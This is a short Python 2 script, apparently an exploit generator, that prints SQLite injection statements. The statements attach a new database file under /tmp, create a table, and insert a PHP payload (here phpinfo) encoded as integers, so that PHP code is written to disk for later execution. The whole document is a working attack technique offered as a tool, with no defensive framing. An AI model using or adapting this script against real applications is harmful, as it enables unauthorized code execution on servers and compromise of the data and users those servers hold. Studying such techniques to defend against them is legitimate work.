#by phantom[a]smokedchicken.org

import struct
import random
rnd = 'smkchk' + str(random.random())[2:10]
database_name = '[/tmp/' + rnd + ']'

s = '<?php phpinfo();?>'
mlen = ( len(s) / 4 + (( len(s) % 4 ) != 0 ))
struct.unpack( '>' + 'L' * mlen, s.zfill( mlen * 4 ))
insert = str(( struct.unpack( '>' + 'L' * mlen, s.zfill( mlen * 4 ))))

print 'attach database ' + database_name + ' as ' + rnd + ';',
print 'create table ' + rnd + '.smkchk (' + ','.join([ ' x'+str(c)+' integer' for c in xrange(mlen)]) + ');',
print 'insert into ' + rnd + '.smkchk values ' + insert + ';'

